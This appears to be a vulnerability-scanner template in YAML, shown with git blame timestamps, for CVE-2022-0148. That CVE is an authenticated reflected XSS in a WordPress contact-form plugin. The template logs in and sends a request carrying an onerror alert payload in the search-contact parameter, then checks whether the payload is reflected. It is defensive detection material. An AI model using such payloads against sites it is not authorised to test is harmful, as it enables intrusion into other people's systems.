2022-03-27 14:25:03 +00:00
|
|
|
id: CVE-2022-0148
|
|
|
|
|
|
|
|
info:
|
2022-03-27 16:43:08 +00:00
|
|
|
name: All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected XSS
|
2022-03-27 14:25:03 +00:00
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: medium
|
|
|
|
description: The plugin was vulnerable to reflected XSS on the my-sticky-elements-leads admin page.
|
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd
|
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://plugins.trac.wordpress.org/changeset/2654453/mystickyelements
|
2022-03-27 14:25:50 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 5.4
|
2022-03-27 14:25:50 +00:00
|
|
|
cve-id: CVE-2022-0148
|
|
|
|
cwe-id: CWE-79
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: xss,wp-plugin,authenticated,wpscan,cve,cve2022,wordpress
|
2022-03-27 14:25:03 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '<img src onerror=alert(`document.domain`) x">'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|